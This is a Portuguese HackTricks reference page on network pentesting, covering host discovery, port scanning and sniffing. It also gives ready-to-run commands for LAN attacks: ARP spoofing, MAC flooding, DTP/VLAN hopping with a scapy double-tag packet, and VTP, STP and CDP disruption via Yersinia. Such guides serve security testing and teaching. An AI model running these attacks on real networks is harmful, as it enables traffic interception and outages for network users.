mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
835 lines
52 KiB
Markdown
835 lines
52 KiB
Markdown
# Teste de Penetração em Rede
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras maneiras de apoiar o HackTricks:
|
||
|
||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
||
</details>
|
||
|
||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensa por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
## Descobrindo hosts de fora
|
||
|
||
Esta será uma **seção breve** sobre como encontrar **IPs que respondem** da **Internet**.\
|
||
Nesta situação, você tem algum **escopo de IPs** (talvez até vários **intervalos**) e apenas precisa descobrir **quais IPs estão respondendo**.
|
||
|
||
### ICMP
|
||
|
||
Esta é a maneira **mais fácil** e **rápida** de descobrir se um host está ativo ou não.\
|
||
Você pode tentar enviar alguns pacotes **ICMP** e **esperar respostas**. A maneira mais fácil é simplesmente enviar uma **solicitação de eco** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\
|
||
Você também pode usar o **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para a solicitação-resposta de eco ICMP comum).
|
||
```bash
|
||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
|
||
```
|
||
### Descoberta de Portas TCP
|
||
|
||
É muito comum encontrar que todos os tipos de pacotes ICMP estão sendo filtrados. Então, tudo o que você pode fazer para verificar se um host está ativo é **tentar encontrar portas abertas**. Cada host possui **65535 portas**, então, se você tiver um escopo "grande", **não pode** testar se **cada porta** de cada host está aberta ou não, pois isso levaria muito tempo.\
|
||
Portanto, o que você precisa é de um **scanner de portas rápido** ([masscan](https://github.com/robertdavidgraham/masscan)) e uma lista das **portas mais utilizadas:**
|
||
```bash
|
||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||
```
|
||
### Descoberta de Porta HTTP
|
||
|
||
Isso é apenas uma descoberta de porta TCP útil quando você deseja **se concentrar na descoberta de serviços HTTP**:
|
||
```bash
|
||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||
```
|
||
### Descoberta de Portas UDP
|
||
|
||
Você também pode tentar verificar se alguma **porta UDP está aberta** para decidir se deve **prestar mais atenção** a um **host**. Como os serviços UDP geralmente **não respondem** com **nenhum dado** a um pacote de sonda UDP vazio regular, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução e, como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
|
||
```bash
|
||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||
# The -sV will make nmap test each possible known UDP service packet
|
||
# The "--version-intensity 0" will make nmap only test the most probable
|
||
```
|
||
A linha de comando nmap proposta anteriormente testará as **principais 1000 portas UDP** em cada host dentro do intervalo **/24**, mas mesmo assim isso levará **>20min**. Se precisar de **resultados mais rápidos**, você pode usar o [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Isso enviará essas **sondagens UDP** para suas **portas esperadas** (para um intervalo /24, isso levará apenas 1 minuto): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||
|
||
### Descoberta de Portas SCTP
|
||
```bash
|
||
#Probably useless, but it's pretty fast, why not trying?
|
||
nmap -T4 -sY -n --open -Pn <IP/range>
|
||
```
|
||
## Pentesting Wifi
|
||
|
||
Aqui você pode encontrar um guia completo de todos os ataques Wifi conhecidos no momento da escrita:
|
||
|
||
{% content-ref url="../pentesting-wifi/" %}
|
||
[pentesting-wifi](../pentesting-wifi/)
|
||
{% endcontent-ref %}
|
||
|
||
## Descobrindo hosts de dentro
|
||
|
||
Se você estiver dentro da rede, uma das primeiras coisas que você vai querer fazer é **descobrir outros hosts**. Dependendo de **quanto barulho** você pode/quer fazer, diferentes ações podem ser realizadas:
|
||
|
||
### Passivo
|
||
|
||
Você pode usar essas ferramentas para descobrir hosts passivamente dentro de uma rede conectada:
|
||
```bash
|
||
netdiscover -p
|
||
p0f -i eth0 -p -o /tmp/p0f.log
|
||
# Bettercap
|
||
net.recon on/off #Read local ARP cache periodically
|
||
net.show
|
||
set net.show.meta true #more info
|
||
```
|
||
### Ativo
|
||
|
||
Observe que as técnicas comentadas em [_**Descobrindo hosts de fora**_](./#discovering-hosts-from-the-outside) (_Descoberta de Portas TCP/HTTP/UDP/SCTP_) também podem ser **aplicadas aqui**.\
|
||
No entanto, como você está na **mesma rede** que os outros hosts, você pode fazer **mais coisas**:
|
||
```bash
|
||
#ARP discovery
|
||
nmap -sn <Network> #ARP Requests (Discover IPs)
|
||
netdiscover -r <Network> #ARP requests (Discover IPs)
|
||
|
||
#NBT discovery
|
||
nbtscan -r 192.168.0.1/24 #Search in Domain
|
||
|
||
# Bettercap
|
||
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
|
||
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
|
||
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
|
||
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
|
||
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
|
||
set net.probe.throttle 10 #10ms between probes sent (default=10)
|
||
|
||
#IPv6
|
||
alive6 <IFACE> # Send a pingv6 to multicast.
|
||
```
|
||
### ICMP Ativo
|
||
|
||
Note que as técnicas comentadas em _Descobrindo hosts de fora_ ([_**ICMP**_](./#icmp)) também podem ser **aplicadas aqui**.\
|
||
Mas, como você está na **mesma rede** que os outros hosts, você pode fazer **mais coisas**:
|
||
|
||
- Se você **pingar** um **endereço de broadcast de sub-rede**, o ping deve chegar a **cada host** e eles podem **responder** a **você**: `ping -b 10.10.5.255`
|
||
- Pinging o **endereço de broadcast da rede** você pode até encontrar hosts dentro de **outras sub-redes**: `ping -b 255.255.255.255`
|
||
- Use as flags `-PE`, `-PP`, `-PM` do `nmap` para realizar a descoberta de hosts enviando respectivamente solicitações de **echo ICMPv4**, **timestamp** e **máscara de sub-rede**: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||
|
||
### **Wake On Lan**
|
||
|
||
Wake On Lan é usado para **ligar** computadores por meio de uma **mensagem de rede**. O pacote mágico usado para ligar o computador é apenas um pacote onde um **MAC Dst** é fornecido e então é **repetido 16 vezes** dentro do mesmo pacote.\
|
||
Então esse tipo de pacotes geralmente são enviados em um **ethernet 0x0842** ou em um **pacote UDP para a porta 9**.\
|
||
Se **nenhum \[MAC]** for fornecido, o pacote é enviado para **broadcast ethernet** (e o MAC de broadcast será o que está sendo repetido).
|
||
```bash
|
||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||
```
|
||
## Escaneando Hosts
|
||
|
||
Depois de descobrir todos os IPs (externos ou internos) que deseja escanear em profundidade, diferentes ações podem ser realizadas.
|
||
|
||
### TCP
|
||
|
||
* Porta **aberta**: _SYN --> SYN/ACK --> RST_
|
||
* Porta **fechada**: _SYN --> RST/ACK_
|
||
* Porta **filtrada**: _SYN --> \[SEM RESPOSTA]_
|
||
* Porta **filtrada**: _SYN --> mensagem ICMP_
|
||
```bash
|
||
# Nmap fast scan for the most 1000tcp ports used
|
||
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
|
||
# Nmap fast scan for all the ports
|
||
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
|
||
# Nmap fast scan for all the ports slower to avoid failures due to -T4
|
||
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
|
||
|
||
#Bettercap Scan
|
||
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||
```
|
||
### UDP
|
||
|
||
Existem 2 opções para escanear uma porta UDP:
|
||
|
||
* Enviar um **pacote UDP** e verificar a resposta _**ICMP unreachable**_ se a porta estiver **fechada** (em vários casos, o ICMP será **filtrado** e você não receberá nenhuma informação se a porta estiver fechada ou aberta).
|
||
* Enviar **datagramas formatados** para obter uma resposta de um **serviço** (por exemplo, DNS, DHCP, TFTP e outros, conforme listado em _nmap-payloads_). Se você receber uma **resposta**, então a porta está **aberta**.
|
||
|
||
O **Nmap** irá **combinar ambas** as opções usando "-sV" (os escaneamentos UDP são muito lentos), mas observe que os escaneamentos UDP são mais lentos do que os escaneamentos TCP:
|
||
```bash
|
||
# Check if any of the most common udp services is running
|
||
udp-proto-scanner.pl <IP>
|
||
# Nmap fast check if any of the 100 most common UDP services is running
|
||
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
|
||
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
|
||
nmap -sU -sV -sC -n -F -T4 <IP>
|
||
# Nmap "fast" top 1000 UDP ports
|
||
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||
# You could use nmap to test all the UDP ports, but that will take a lot of time
|
||
```
|
||
### Varredura SCTP
|
||
|
||
O **SCTP (Protocolo de Transmissão de Controle de Fluxo)** é projetado para ser usado ao lado do **TCP (Protocolo de Controle de Transmissão)** e do **UDP (Protocolo de Datagrama de Usuário)**. Seu principal objetivo é facilitar o transporte de dados de telefonia em redes IP, refletindo muitas das características de confiabilidade encontradas no **Sistema de Sinalização 7 (SS7)**. O **SCTP** é um componente central da família de protocolos **SIGTRAN**, que tem como objetivo transportar sinais SS7 em redes IP.
|
||
|
||
O suporte ao **SCTP** é fornecido por vários sistemas operacionais, como **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** e **VxWorks**, indicando sua ampla aceitação e utilidade no campo de telecomunicações e redes.
|
||
|
||
O nmap oferece duas varreduras diferentes para SCTP: _-sY_ e _-sZ_
|
||
```bash
|
||
# Nmap fast SCTP scan
|
||
nmap -T4 -sY -n -oA SCTFastScan <IP>
|
||
# Nmap all SCTP scan
|
||
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
|
||
```
|
||
### Evasão de IDS e IPS
|
||
|
||
{% content-ref url="ids-evasion.md" %}
|
||
[ids-evasion.md](ids-evasion.md)
|
||
{% endcontent-ref %}
|
||
|
||
### **Mais opções do nmap**
|
||
|
||
{% content-ref url="nmap-summary-esp.md" %}
|
||
[nmap-summary-esp.md](nmap-summary-esp.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Revelando Endereços IP Internos
|
||
|
||
**Roteadores, firewalls e dispositivos de rede mal configurados** às vezes respondem a sondagens de rede usando **endereços de origem não públicos**. O **tcpdump** pode ser utilizado para identificar pacotes recebidos de endereços privados durante os testes. Especificamente, no Kali Linux, os pacotes podem ser capturados na interface **eth2**, que é acessível a partir da Internet pública. É importante observar que se sua configuração estiver atrás de um NAT ou um Firewall, tais pacotes provavelmente serão filtrados.
|
||
```bash
|
||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
|
||
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
|
||
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||
```
|
||
## Sniffing
|
||
|
||
Ao farejar, você pode aprender detalhes dos intervalos de IP, tamanhos de sub-rede, endereços MAC e nomes de host revisando quadros e pacotes capturados. Se a rede estiver mal configurada ou o tecido de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de farejamento de rede passivo.
|
||
|
||
Se uma rede Ethernet comutada estiver configurada corretamente, você verá apenas quadros de transmissão e material destinado ao seu endereço MAC.
|
||
|
||
### TCPDump
|
||
```bash
|
||
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
|
||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||
```
|
||
Um pode, também, capturar pacotes de uma máquina remota através de uma sessão SSH com o Wireshark como a GUI em tempo real.
|
||
```
|
||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||
```
|
||
### Bettercap
|
||
|
||
Bettercap is a powerful, flexible, and portable tool created to perform various types of network attacks. It provides a wide range of features for network scanning, sniffing, and man-in-the-middle attacks. Bettercap is widely used by penetration testers and security professionals for testing network security.
|
||
```bash
|
||
net.sniff on
|
||
net.sniff stats
|
||
set net.sniff.output sniffed.pcap #Write captured packets to file
|
||
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
|
||
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
|
||
set net.sniff.regexp #If set only packets matching this regex will be considered
|
||
```
|
||
### Wireshark
|
||
|
||
Obviamente.
|
||
|
||
### Capturando credenciais
|
||
|
||
Você pode usar ferramentas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analisar credenciais de um arquivo pcap ou de uma interface ao vivo.
|
||
|
||
## Ataques na LAN
|
||
|
||
### ARP spoofing
|
||
|
||
O ARP Spoofing consiste em enviar ARPResponses gratuitos para indicar que o IP de uma máquina tem o MAC do nosso dispositivo. Em seguida, a vítima alterará a tabela ARP e entrará em contato com nossa máquina sempre que quiser contatar o IP falsificado.
|
||
|
||
#### **Bettercap**
|
||
```bash
|
||
arp.spoof on
|
||
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
|
||
set arp.spoof.whitelist #Specific targets to skip while spoofing
|
||
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
|
||
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
|
||
```
|
||
#### **Arpspoof**
|
||
```bash
|
||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||
arpspoof -t 192.168.1.1 192.168.1.2
|
||
arpspoof -t 192.168.1.2 192.168.1.1
|
||
```
|
||
### MAC Flooding - CAM overflow
|
||
|
||
Transbordar a tabela CAM do switch enviando muitos pacotes com diferentes endereços MAC de origem. Quando a tabela CAM estiver cheia, o switch começará a se comportar como um hub (transmitindo todo o tráfego).
|
||
```bash
|
||
macof -i <interface>
|
||
```
|
||
Nas switches modernos, essa vulnerabilidade foi corrigida.
|
||
|
||
### Ataques 802.1Q VLAN / DTP
|
||
|
||
#### Tronco Dinâmico
|
||
|
||
O **Protocolo de Tronco Dinâmico (DTP)** é projetado como um protocolo de camada de link para facilitar um sistema automático de tronco, permitindo que switches selecionem automaticamente portas para o modo de tronco (Trunk) ou modo não-tronco. A implantação do **DTP** é frequentemente vista como indicativa de um design de rede subótimo, destacando a importância de configurar troncos manualmente apenas onde necessário e garantir uma documentação adequada.
|
||
|
||
Por padrão, as portas do switch são configuradas para operar no modo Automático Dinâmico, o que significa que estão prontas para iniciar o tronco se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, fazendo com que a porta entre no modo de tronco. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLANs configurando interfaces virtuais.
|
||
|
||
A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego em todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Padrão, Tronco, Dinâmico, Automático ou Acesso, sendo este último a única configuração imune a ataques de VLAN hopping. Essa ferramenta avalia o status de vulnerabilidade do switch.
|
||
|
||
Caso uma vulnerabilidade de rede seja identificada, a ferramenta _**Yersinia**_ pode ser utilizada para "ativar o tronco" via protocolo DTP, permitindo a observação de pacotes de todas as VLANs.
|
||
```bash
|
||
apt-get install yersinia #Installation
|
||
sudo apt install kali-linux-large #Another way to install it in Kali
|
||
yersinia -I #Interactive mode
|
||
#In interactive mode you will need to select a interface first
|
||
#Then, you can select the protocol to attack using letter "g"
|
||
#Finally, you can select the attack using letter "x"
|
||
|
||
yersinia -G #For graphic mode
|
||
```
|
||
Para enumerar as VLANs, também é possível gerar o quadro DTP Desirable com o script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Não interrompa o script sob nenhuma circunstância. Ele injeta DTP Desirable a cada três segundos. **Os canais de trunk criados dinamicamente no switch só permanecem ativos por cinco minutos. Após cinco minutos, o trunk é desativado.**
|
||
```
|
||
sudo python3 DTPHijacking.py --interface eth0
|
||
```
|
||
Gostaria de salientar que **Acesso/Desejável (0x03)** indica que o quadro DTP é do tipo Desejável, o que diz à porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**.
|
||
|
||
Ao analisar os quadros STP, **aprendemos sobre a existência da VLAN 30 e VLAN 60**.
|
||
|
||
<figure><img src="../../.gitbook/assets/image (18) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
#### Atacando VLANs específicas
|
||
|
||
Uma vez que você conhece os IDs das VLANs e os valores dos IPs, você pode **configurar uma interface virtual para atacar uma VLAN específica**.\
|
||
Se o DHCP não estiver disponível, então use _ifconfig_ para definir um endereço IP estático.
|
||
```
|
||
root@kali:~# modprobe 8021q
|
||
root@kali:~# vconfig add eth1 250
|
||
Added VLAN with VID == 250 to IF -:eth1:-
|
||
root@kali:~# dhclient eth1.250
|
||
Reloading /etc/samba/smb.conf: smbd only.
|
||
root@kali:~# ifconfig eth1.250
|
||
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
|
||
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
|
||
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
|
||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
|
||
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
|
||
collisions:0 txqueuelen:0
|
||
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
|
||
|
||
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
|
||
```
|
||
|
||
```bash
|
||
# Another configuration example
|
||
modprobe 8021q
|
||
vconfig add eth1 20
|
||
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
|
||
```
|
||
|
||
```bash
|
||
# Another configuration example
|
||
sudo vconfig add eth0 30
|
||
sudo ip link set eth0.30 up
|
||
sudo dhclient -v eth0.30
|
||
```
|
||
#### Saltador Automático de VLAN
|
||
|
||
O ataque discutido de **Tronco Dinâmico e criação de interfaces virtuais para descobrir hosts em outras VLANs** é **executado automaticamente** pela ferramenta: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||
|
||
#### Dupla Marcação
|
||
|
||
Se um atacante conhece o valor do **MAC, IP e ID da VLAN do host da vítima**, ele poderia tentar **marcar duplamente um quadro** com sua VLAN designada e a VLAN da vítima e enviar um pacote. Como a **vítima não poderá se conectar de volta** com o atacante, a **melhor opção para o atacante é se comunicar via UDP** com protocolos que possam realizar algumas ações interessantes (como SNMP).
|
||
|
||
Outra opção para o atacante é lançar uma **varredura de porta TCP falsificando um IP controlado pelo atacante e acessível pela vítima** (provavelmente através da internet). Em seguida, o atacante poderia farejar no segundo host de sua propriedade se ele receber alguns pacotes da vítima.
|
||
|
||
![](<../../.gitbook/assets/image (635) (1).png>)
|
||
|
||
Para realizar esse ataque, você pode usar o scapy: `pip install scapy`
|
||
```python
|
||
from scapy.all import *
|
||
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
|
||
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
|
||
sendp(packet)
|
||
```
|
||
#### Bypass de Segmentação Lateral de VLAN <a href="#d679" id="d679"></a>
|
||
|
||
Se você tem **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **burlar a segmentação de VLAN** dentro da rede. Simplesmente **altere a porta para o modo trunk** (também conhecido como trunk), crie interfaces virtuais com os IDs das VLANs de destino e configure um endereço IP. Você pode tentar solicitar o endereço de forma dinâmica (DHCP) ou pode configurá-lo estaticamente. Isso depende do caso.
|
||
|
||
{% content-ref url="lateral-vlan-segmentation-bypass.md" %}
|
||
[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
#### Bypass de VLAN Privada de Camada 3
|
||
|
||
Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para evitar que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados por um roteador para alcançar outro cliente na mesma rede.
|
||
|
||
O ataque é executado criando um **pacote que carrega o endereço IP do cliente de destino, mas com o endereço MAC do roteador**. Isso faz com que o roteador encaminhe erroneamente o pacote para o cliente alvo. Essa abordagem é semelhante à usada em Ataques de Dupla Marcação, onde a capacidade de controlar um host acessível à vítima é usada para explorar a falha de segurança.
|
||
|
||
**Principais Etapas do Ataque:**
|
||
1. **Criação de um Pacote:** Um pacote é especialmente criado para incluir o endereço IP do cliente de destino, mas com o endereço MAC do roteador.
|
||
2. **Explorando o Comportamento do Roteador:** O pacote criado é enviado ao roteador, que, devido à configuração, redireciona o pacote para o cliente alvo, contornando o isolamento fornecido pelas configurações de VLAN privada.
|
||
|
||
### Ataques VTP
|
||
|
||
O VTP (Protocolo de Troncos de VLAN) centraliza a gestão de VLANs. Ele utiliza números de revisão para manter a integridade do banco de dados de VLAN; qualquer modificação incrementa esse número. Os switches adotam configurações com números de revisão mais altos, atualizando seus próprios bancos de dados de VLAN.
|
||
|
||
#### Funções do Domínio VTP
|
||
|
||
- **Servidor VTP:** Gerencia VLANs—cria, exclui, modifica. Ele transmite anúncios VTP para os membros do domínio.
|
||
- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Essa função é restrita de modificações locais na configuração de VLAN.
|
||
- **Transparente VTP:** Não participa de atualizações VTP, mas encaminha anúncios VTP. Não é afetado por ataques VTP, mantendo um número de revisão constante de zero.
|
||
|
||
#### Tipos de Anúncios VTP
|
||
|
||
- **Anúncio Resumido:** Transmitido pelo servidor VTP a cada 300 segundos, carregando informações essenciais do domínio.
|
||
- **Anúncio de Subconjunto:** Enviado após alterações na configuração da VLAN.
|
||
- **Solicitação de Anúncio:** Emitida por um cliente VTP para solicitar um Anúncio Resumido, geralmente em resposta à detecção de um número de revisão de configuração mais alto.
|
||
|
||
As vulnerabilidades do VTP são exploráveis exclusivamente por meio de portas de tronco, pois os anúncios VTP circulam exclusivamente por elas. Cenários de ataque pós-DTP podem se voltar para o VTP. Ferramentas como Yersinia podem facilitar os ataques VTP, visando eliminar o banco de dados de VLAN, interrompendo efetivamente a rede.
|
||
|
||
Nota: Esta discussão diz respeito ao VTP versão 1 (VTPv1).
|
||
```bash
|
||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||
```
|
||
No modo gráfico do Yersinia, escolha a opção de deletar todas as VLANs VTP para purgar o banco de dados VLAN.
|
||
|
||
|
||
### Ataques STP
|
||
|
||
**Se você não conseguir capturar quadros BPDU em suas interfaces, é improvável que tenha sucesso em um ataque STP.**
|
||
|
||
#### **DoS de BPDU STP**
|
||
|
||
Ao enviar muitos BPDUs TCP (Notificação de Mudança de Topologia) ou Conf (os BPDUs enviados quando a topologia é criada), os switches ficam sobrecarregados e param de funcionar corretamente.
|
||
```bash
|
||
yersinia stp -attack 2
|
||
yersinia stp -attack 3
|
||
#Use -M to disable MAC spoofing
|
||
```
|
||
#### **Ataque STP TCP**
|
||
|
||
Quando um TCP é enviado, a tabela CAM dos switches será deletada em 15s. Então, se você estiver enviando continuamente esse tipo de pacotes, a tabela CAM será reiniciada continuamente (ou a cada 15 segundos) e quando é reiniciada, o switch se comporta como um hub.
|
||
```bash
|
||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||
```
|
||
#### **Ataque de Raiz STP**
|
||
|
||
O atacante simula o comportamento de um switch para se tornar a raiz STP da rede. Em seguida, mais dados passarão por ele. Isso é interessante quando você está conectado a dois switches diferentes.\
|
||
Isso é feito enviando pacotes CONF de BPDUs dizendo que o valor de **prioridade** é menor que a prioridade real do switch raiz atual.
|
||
```bash
|
||
yersinia stp -attack 4 #Behaves like the root switch
|
||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||
```
|
||
**Se o atacante estiver conectado a 2 switches, ele pode ser a raiz da nova árvore e todo o tráfego entre esses switches passará por ele** (um ataque MITM será realizado).
|
||
```bash
|
||
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
|
||
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
|
||
```
|
||
### Ataques CDP
|
||
|
||
O Protocolo de Descoberta CISCO (CDP) é essencial para a comunicação entre dispositivos CISCO, permitindo que eles **se identifiquem e compartilhem detalhes de configuração**.
|
||
|
||
#### Coleta Passiva de Dados <a href="#0e0f" id="0e0f"></a>
|
||
|
||
O CDP é configurado para transmitir informações por todas as portas, o que pode representar um risco de segurança. Um atacante, ao se conectar a uma porta de switch, poderia implantar sniffers de rede como **Wireshark**, **tcpdump** ou **Yersinia**. Essa ação pode revelar dados sensíveis sobre o dispositivo de rede, incluindo seu modelo e a versão do Cisco IOS que ele executa. O atacante pode então visar vulnerabilidades específicas na versão identificada do Cisco IOS.
|
||
|
||
#### Induzindo o Transbordamento da Tabela CDP <a href="#0d6a" id="0d6a"></a>
|
||
|
||
Uma abordagem mais agressiva envolve lançar um ataque de Negação de Serviço (DoS) sobrecarregando a memória do switch, fingindo ser dispositivos CISCO legítimos. Abaixo está a sequência de comandos para iniciar tal ataque usando o Yersinia, uma ferramenta de rede projetada para testes:
|
||
```bash
|
||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||
# Alternatively, for a GUI approach:
|
||
sudo yersinia -G
|
||
```
|
||
Durante este ataque, a CPU do switch e a tabela de vizinhos CDP são sobrecarregadas, levando ao que é frequentemente referido como **"paralisia de rede"** devido ao consumo excessivo de recursos.
|
||
|
||
#### Ataque de Impersonação CDP
|
||
```bash
|
||
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
|
||
sudo yersinia cdp -attack 0 #Send a CDP packet
|
||
```
|
||
Também é possível utilizar o [**scapy**](https://github.com/secdev/scapy/). Certifique-se de instalá-lo com o pacote `scapy/contrib`.
|
||
|
||
### Ataques VoIP e a Ferramenta VoIP Hopper
|
||
|
||
Os telefones VoIP, cada vez mais integrados com dispositivos IoT, oferecem funcionalidades como destravar portas ou controlar termostatos por meio de números de telefone especiais. No entanto, essa integração pode representar riscos de segurança.
|
||
|
||
A ferramenta [**voiphopper**](http://voiphopper.sourceforge.net) é projetada para emular um telefone VoIP em vários ambientes (Cisco, Avaya, Nortel, Alcatel-Lucent). Ela descobre o ID da VLAN da rede de voz usando protocolos como CDP, DHCP, LLDP-MED e 802.1Q ARP.
|
||
|
||
